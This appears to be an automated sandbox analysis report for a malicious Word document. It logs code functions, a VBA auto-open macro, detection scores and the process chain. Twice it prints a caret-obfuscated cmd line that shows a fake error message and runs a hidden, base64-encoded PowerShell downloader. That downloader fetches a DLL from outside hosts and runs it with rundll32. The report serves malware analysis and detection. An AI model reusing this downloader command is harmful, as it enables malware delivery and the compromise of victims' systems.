Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1000CF11 7_2_1000CF11
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10015115 7_2_10015115
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1001231B 7_2_1001231B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1001BF25 7_2_1001BF25
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1001DB25 7_2_1001DB25
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1000492A 7_2_1000492A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1001D530 7_2_1001D530
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1000213E 7_2_1000213E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1000CB42 7_2_1000CB42
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10016B45 7_2_10016B45
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1001654F 7_2_1001654F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10003D4E 7_2_10003D4E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10018F65 7_2_10018F65
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10012965 7_2_10012965
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1001676B 7_2_1001676B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10010F6D 7_2_10010F6D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10011B71 7_2_10011B71
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10017570 7_2_10017570
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1000A176 7_2_1000A176
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1001DD78 7_2_1001DD78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10013D7C 7_2_10013D7C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1001E19F 7_2_1001E19F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_100199A4 7_2_100199A4
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10015DAA 7_2_10015DAA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1001EDB9 7_2_1001EDB9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10006BC0 7_2_10006BC0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_100173C0 7_2_100173C0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_100177C0 7_2_100177C0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10019DC0 7_2_10019DC0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_100193C9 7_2_100193C9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1001CDCC 7_2_1001CDCC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1000ADCE 7_2_1000ADCE
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1001B1D2 7_2_1001B1D2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10004BDE 7_2_10004BDE
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10005BE1 7_2_10005BE1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10002DEE 7_2_10002DEE
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_100137F4 7_2_100137F4
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1001B3FE 7_2_1001B3FE
Document contains an embedded VBA macro which executes code when the document is opened / closed
Source: ARCHIVOFile-20-012021.doc OLE, VBA macro line: Private Sub Document_open()
Source: VBA code instrumentation OLE, VBA macro: Module Bcur5699z4d, Function Document_open Name: Document_open
Document contains embedded VBA macros
Source: ARCHIVOFile-20-012021.doc OLE indicator, VBA macros: true
Document has an unknown application name
Source: ARCHIVOFile-20-012021.doc OLE indicator application name: unknown
Source: powershell.exe, 00000005.00000002.2111959745.000000001CC80000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2116032570.0000000001B70000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2113937687.0000000001F10000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2124432058.0000000001D10000.00000002.00000001.sdmp Binary or memory string: .VBPud<_
Source: classification engine Classification label: mal100.troj.evad.winDOC@32/14@6/100
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\Desktop\~$CHIVOFile-20-012021.doc Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Mutant created: \Sessions\1\BaseNamedObjects\Global\.net clr networking
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Temp\CVRBF1A.tmp Jump to behavior
Source: ARCHIVOFile-20-012021.doc OLE indicator, Word Document stream: true
Source: ARCHIVOFile-20-012021.doc OLE document summary: title field not present or empty
Source: ARCHIVOFile-20-012021.doc OLE document summary: author field not present or empty
Source: ARCHIVOFile-20-012021.doc OLE document summary: edited time not present or 0
Source: C:\Windows\System32\msg.exe Console Write: ........................................ .A.......A.....................H...............#...............................h.......5kU............. Jump to behavior
Source: C:\Windows\System32\msg.exe Console Write: ................(...............A.s.y.n.c. .m.e.s.s.a.g.e. .s.e.n.t. .t.o. .s.e.s.s.i.o.n. .C.o.n.s.o.l.e...............L....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................................................`I.........v.....................K........k............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................;@.j......................{.............}..v....X.......0...............................(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................;@.j..... {...............{.............}..v............0.................k.............(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.....................C.j......n...............{.............}..v............0...............................(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................E.i......................C.j......k...............{.............}..v....H.......0.................k.............(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....#...............KC.j......................{.............}..v....p.......0...............................(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....#...............KC.j..... {...............{.............}..v............0...............h.k.............(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....7..................j.....Mk...............{.............}..v............0...............................(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....7..................j....P.................{.............}..v............0................Jk.............(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....C..................j.....Mk...............{.............}..v............0...............................(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....C..................j....P.................{.............}..v............0................Jk.............(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....O..................j.....Mk...............{.............}..v............0...............................(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....O..................j....P.................{.............}..v............0................Jk.............(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....[.......e.s. .a.r.e. .".S.s.l.3.,. .T.l.s."...".........}..v............0...............8Jk.....(.......(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....[..................j......................{.............}..v.... .......0................Jk.............(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....g.......A.t. .l.i.n.e.:.1. .c.h.a.r.:.4.8.4.............}..v....0.......0...............8Jk.....$.......(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....g..................j......................{.............}..v....h.......0................Jk.............(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....s..................j.....Mk...............{.............}..v....0.......0...............................(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....s..................j......................{.............}..v....h.......0................Jk.............(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j.....Mk...............{.............}..v....0.......0...............................(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j......................{.............}..v....h.......0................Jk.............(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j.....Mk...............{.............}..v....0.......0...............................(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j......................{.............}..v....h.......0................Jk.............(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j.....Mk...............{.............}..v....0.......0...............................(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j......................{.............}..v....h.......0................Jk.............(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j.....Mk...............{.............}..v....0.......0...............................(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j......................{.............}..v....h.......0................Jk.............(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j.....Mk...............{.............}..v....0.......0...............................(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j......................{.............}..v....h.......0................Jk.............(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j.....Mk...............{.............}..v....0.......0...............................(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j......................{.............}..v....h.......0................Jk.............(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j.....Mk...............{.............}..v....0.......0...............................(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j......................{.............}..v....h.......0................Jk.............(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j.....Mk...............{.............}..v....0.......0...............................(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j......................{.............}..v....h.......0................Jk.............(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j.....Mk...............{.............}..v....0.......0...............................(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j......................{.............}..v....h.......0................Jk.............(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j.....Mk...............{.............}..v....0.......0...............................(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j......................{.............}..v....h ......0................Jk.............(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j.....Mk...............{.............}..v....0'......0...............................(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j.....'................{.............}..v....h(......0................Jk.............(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j.....Mk...............{.............}..v....0/......0...............................(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j...../................{.............}..v....h0......0................Jk.............(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j.....Mk...............{.............}..v....07......0...............................(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j.....7................{.............}..v....h8......0................Jk.............(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j.....Mk...............{.............}..v....0?......0...............................(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j.....?................{.............}..v....h@......0................Jk.............(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....'..................j.....Mk...............{.............}..v....0G......0...............................(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....'..................j.....G................{.............}..v....hH......0................Jk.............(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....3..................j.....Mk...............{.............}..v....0O......0...............................(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....3..................j.....O................{.............}..v....hP......0................Jk.............(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....?..................j.....Mk...............{.............}..v....0W......0...............................(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....?..................j.....W................{.............}..v....hX......0................Jk.............(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....K..................j.....Mk...............{.............}..v....0_......0...............................(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....K..................j....._................{.............}..v....h`......0................Jk.............(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....W..................j.....Mk...............{.............}..v....0g......0...............................(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....W..................j.....g................{.............}..v....hh......0................Jk.............(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....c..................j.....Mk...............{.............}..v....0o......0...............................(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....c..................j.....o................{.............}..v....hp......0................Jk.............(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....o..................j.....Mk...............{.............}..v....0w......0...............................(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....o..................j.....w................{.............}..v....hx......0................Jk.............(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....{..................j.....Mk...............{.............}..v....0.......0...............................(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....{..................j......................{.............}..v....h.......0................Jk.............(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j.....Mk...............{.............}..v....0.......0...............................(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j......................{.............}..v....h.......0................Jk.............(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j.....Mk...............{.............}..v....0.......0...............................(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j......................{.............}..v....h.......0................Jk.............(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j.....Mk...............{.............}..v....0.......0...............................(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j......................{.............}..v....h.......0................Jk.............(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j.....Mk...............{.............}..v............0...............................(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j......................{.............}..v....8.......0................Jk.............(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j.....Mk...............{.............}..v............0...............................(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j......................{.............}..v............0................Jk.............(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j.....Mk...............{.............}..v....h.......0.......................r.......(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j.... .................{.............}..v............0................Jk.............(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v............ ..........j.....Mk...............{.............}..v....0.......0...............8Jk.............(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j......................{.............}..v....h.......0................Jk.............(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.....................~.j.....(................{.............}..v......".....0.................k.............(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.....................~.j.....(................{.............}..v....@S".....0.................k.............(............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_64\mscorlib\fe6ac93181b40a571892e14bfb9d65f2\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE WMI Queries: IWbemServices::ExecMethod - Win32_Process::Create
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Windows\System32\msg.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\rundll32.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: unknown Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Vlj0ta0\Mtkd4y0\O8_N.dll ShowDialogA
Source: ARCHIVOFile-20-012021.doc Virustotal: Detection: 48%
Source: ARCHIVOFile-20-012021.doc ReversingLabs: Detection: 50%
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding
Source: unknown Process created: C:\Windows\System32\cmd.exe cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IAAgAFMARQBUAC0AaQBUAGUATQAgACAAdgBhAHIASQBhAEIATABFADoAUABHAEIAIAAgACgAIABbAFQAWQBQAGUAXQAoACIAewAyAH0AewA0AH0AewA1AH0AewAxAH0AewAwAH0AewAzAH0AIgAgAC0AZgAnAC4ARABpAHIAJwAsACcAbQAuAEkATwAnACwAJwBTAHkAJwAsACcARQBDAFQAbwBSAHkAJwAsACcAUwB0ACcALAAnAEUAJwApACkAOwAgAHMARQBUACAAKAAnADIAOQB4ACcAKwAnAGQAJwArACcANABNACcAKQAgACAAKAAgAFsAVABZAHAARQBdACgAIgB7ADcAfQB7ADEAfQB7ADIAfQB7ADMAfQB7ADYAfQB7ADQAfQB7ADAAfQB7ADUAfQAiACAALQBmACcATgBhACcALAAnAHkAcwAnACwAJwBUAGUATQAuAE4ARQB0ACcALAAnAC4AUwBFAHIAVgBpACcALAAnAGUAUABPAGkAbgBUAG0AQQAnACwAJwBHAGUAUgAnACwAJwBDACcALAAnAHMAJwApACAAIAApADsAJABYAGoAYgA2AHUAdQA5AD0AJABTAF8ANwBXACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABDADkANgBaADsAJABBADIAOQBZAD0AKAAoACcAVAAnACsAJwA2ADUAJwApACsAJwBRACcAKQA7ACAAIAAkAHAAZwBCADoAOgAiAGMAcgBgAEUAYQBUAGAAZQBEAEkAcgBgAEUAYwB0AGAAbwBSAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwBkAGIAJwArACgAJwB6AFYAbAAnACsAJwBqADAAdABhADAAZAAnACkAKwAnAGIAegAnACsAKAAnAE0AJwArACcAdABrAGQANAAnACsAJwB5ADAAJwApACsAKAAnAGQAYgAnACsAJwB6ACcAKQApAC4AIgByAGAARQBgAFAATABBAGMAZQAiACgAKABbAGMASABhAFIAXQAxADAAMAArAFsAYwBIAGEAUgBdADkAOAArAFsAYwBIAGEAUgBdADEAMgAyACkALAAnAFwAJwApACkAKQA7ACQAWAAxADMASAA9ACgAKAAnAFQAJwArACcANgA2ACcAKQArACcATAAnACkAOwAgACAAKABWAGEAUgBpAEEAQgBMAGUAIAAoACcAMgA5AHgAJwArACcAZAAnACsAJwA0AE0AJwApACAAKQAuAFYAQQBMAHUAZQA6ADoAIgBTAGUAQwBVAFIAYABJAFQAWQBgAFAAYABSAGAATwBUAE8AQwBPAEwAIgAgAD0AIAAoACcAVABsACcAKwAoACcAcwAnACsAJwAxADIAJwApACkAOwAkAEUAMwA0AFEAPQAoACgAJwBRAF8AJwArACcAMQAnACkAKwAnAEwAJwApADsAJABJADMAbABhAGEAMgAzACAAPQAgACgAKAAnAE8AOAAnACsAJwBfACcAKQArACcATgAnACkAOwAkAFcAOQA2AFkAPQAoACgAJwBQACcAKwAnADUAMQAnACkAKwAnAEQAJwApADsAJABJAHEANgByAGYAZwAwAD0AJABIAE8ATQBFACsAKAAoACgAJwBvACcAKwAnADYAbgBWACcAKQArACgAJwBsAGoAMAB0ACcAKwAnAGEAMABvACcAKQArACcANgBuACcAKwAnAE0AdAAnACsAKAAnAGsAZAAnACsAJwA0ACcAKQArACgAJwB5ACcAKwAnADAAbwA2ACcAKQArACcAbgAnACkALQBjAHIARQBQAGwAQQBDAEUAIAAgACgAWwBjAGgAQQByAF0AMQAxADEAKwBbAGMAaABBAHIAXQA1ADQAKwBbAGMAaABBAHIAXQAxADEAMAApACwAWwBjAGgAQQByAF0AOQAyACkAKwAkAEkAMwBsAGEAYQAyADMAKwAoACcALgAnACsAKAAnAGQAbAAnACsAJwBsACcAKQApADsAJABTADgANABCAD0AKAAnAE8AJwArACgAJwAzADIAJwArACcASQAnACkAKQA7ACQATwB6AHgAOQB4AGsAZAA9ACgAJwBzACcAKwAnAGcAJwArACgAJwAgAHkAdwAnACsAJwAgAGEAJwArACcAaAAnACsAJwA6ACcAKwAnAC8ALwByAGkAYQBuAGQAdQB0ACcAKQArACgAJwByACcAKwAnAGEALgBjAG8AbQAvAGUAJwApACsAJwBtACcAKwAnAGEAJwArACgAJwBpAGwALwAnACsAJwBBACcAKwAnAGYAaABFADgAegAwAC8AJwApACsAKAAnAEAAcwAnACsAJwBnACAAeQB3ACcAKQArACgAJwAgAGEAJwArACcAaAA6ACcAKQArACcALwAvACcAKwAnAGMAJwArACgAJwBhAGwAJwArACcAbABlACcAKwAnAGQAdABvAGMAaAAnACsAJwBhACcAKQArACgAJwBuAGcAZQAnACsAJwAuAG8AcgBnACcAKwAnAC8AQwAnACkAKwAnAGEAJwArACgAJwBsACcAKwAnAGwAZQBkAHQAJwApACsAJwBvACcAKwAnAEMAJwArACcAaAAnACsAKAAnAGEAbgAnACsAJwBnACcAKQArACgAJwBlAC8AOABoAHUAUwAnACsAJwBPACcAKwAnAGQALwAnACkAKwAoACcAQABzACcAKwAnAGcAIAB5AHcAJwApACsAKAAnACAAYQBoACcAKwAnAHMAOgAvACcAKwAnAC8AbQAnACsAJwByAHYAZQBnAGcAeQAuAGMAJwArACcA
Source: unknown Process created: C:\Windows\System32\msg.exe msg user /v Word experienced an error trying to open the file.
Source: unknown Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w hidden -enc IAAgAFMARQBUAC0AaQBUAGUATQAgACAAdgBhAHIASQBhAEIATABFADoAUABHAEIAIAAgACgAIABbAFQAWQBQAGUAXQAoACIAewAyAH0AewA0AH0AewA1AH0AewAxAH0AewAwAH0AewAzAH0AIgAgAC0AZgAnAC4ARABpAHIAJwAsACcAbQAuAEkATwAnACwAJwBTAHkAJwAsACcARQBDAFQAbwBSAHkAJwAsACcAUwB0ACcALAAnAEUAJwApACkAOwAgAHMARQBUACAAKAAnADIAOQB4ACcAKwAnAGQAJwArACcANABNACcAKQAgACAAKAAgAFsAVABZAHAARQBdACgAIgB7ADcAfQB7ADEAfQB7ADIAfQB7ADMAfQB7ADYAfQB7ADQAfQB7ADAAfQB7ADUAfQAiACAALQBmACcATgBhACcALAAnAHkAcwAnACwAJwBUAGUATQAuAE4ARQB0ACcALAAnAC4AUwBFAHIAVgBpACcALAAnAGUAUABPAGkAbgBUAG0AQQAnACwAJwBHAGUAUgAnACwAJwBDACcALAAnAHMAJwApACAAIAApADsAJABYAGoAYgA2AHUAdQA5AD0AJABTAF8ANwBXACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABDADkANgBaADsAJABBADIAOQBZAD0AKAAoACcAVAAnACsAJwA2ADUAJwApACsAJwBRACcAKQA7ACAAIAAkAHAAZwBCADoAOgAiAGMAcgBgAEUAYQBUAGAAZQBEAEkAcgBgAEUAYwB0AGAAbwBSAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwBkAGIAJwArACgAJwB6AFYAbAAnACsAJwBqADAAdABhADAAZAAnACkAKwAnAGIAegAnACsAKAAnAE0AJwArACcAdABrAGQANAAnACsAJwB5ADAAJwApACsAKAAnAGQAYgAnACsAJwB6ACcAKQApAC4AIgByAGAARQBgAFAATABBAGMAZQAiACgAKABbAGMASABhAFIAXQAxADAAMAArAFsAYwBIAGEAUgBdADkAOAArAFsAYwBIAGEAUgBdADEAMgAyACkALAAnAFwAJwApACkAKQA7ACQAWAAxADMASAA9ACgAKAAnAFQAJwArACcANgA2ACcAKQArACcATAAnACkAOwAgACAAKABWAGEAUgBpAEEAQgBMAGUAIAAoACcAMgA5AHgAJwArACcAZAAnACsAJwA0AE0AJwApACAAKQAuAFYAQQBMAHUAZQA6ADoAIgBTAGUAQwBVAFIAYABJAFQAWQBgAFAAYABSAGAATwBUAE8AQwBPAEwAIgAgAD0AIAAoACcAVABsACcAKwAoACcAcwAnACsAJwAxADIAJwApACkAOwAkAEUAMwA0AFEAPQAoACgAJwBRAF8AJwArACcAMQAnACkAKwAnAEwAJwApADsAJABJADMAbABhAGEAMgAzACAAPQAgACgAKAAnAE8AOAAnACsAJwBfACcAKQArACcATgAnACkAOwAkAFcAOQA2AFkAPQAoACgAJwBQACcAKwAnADUAMQAnACkAKwAnAEQAJwApADsAJABJAHEANgByAGYAZwAwAD0AJABIAE8ATQBFACsAKAAoACgAJwBvACcAKwAnADYAbgBWACcAKQArACgAJwBsAGoAMAB0ACcAKwAnAGEAMABvACcAKQArACcANgBuACcAKwAnAE0AdAAnACsAKAAnAGsAZAAnACsAJwA0ACcAKQArACgAJwB5ACcAKwAnADAAbwA2ACcAKQArACcAbgAnACkALQBjAHIARQBQAGwAQQBDAEUAIAAgACgAWwBjAGgAQQByAF0AMQAxADEAKwBbAGMAaABBAHIAXQA1ADQAKwBbAGMAaABBAHIAXQAxADEAMAApACwAWwBjAGgAQQByAF0AOQAyACkAKwAkAEkAMwBsAGEAYQAyADMAKwAoACcALgAnACsAKAAnAGQAbAAnACsAJwBsACcAKQApADsAJABTADgANABCAD0AKAAnAE8AJwArACgAJwAzADIAJwArACcASQAnACkAKQA7ACQATwB6AHgAOQB4AGsAZAA9ACgAJwBzACcAKwAnAGcAJwArACgAJwAgAHkAdwAnACsAJwAgAGEAJwArACcAaAAnACsAJwA6ACcAKwAnAC8ALwByAGkAYQBuAGQAdQB0ACcAKQArACgAJwByACcAKwAnAGEALgBjAG8AbQAvAGUAJwApACsAJwBtACcAKwAnAGEA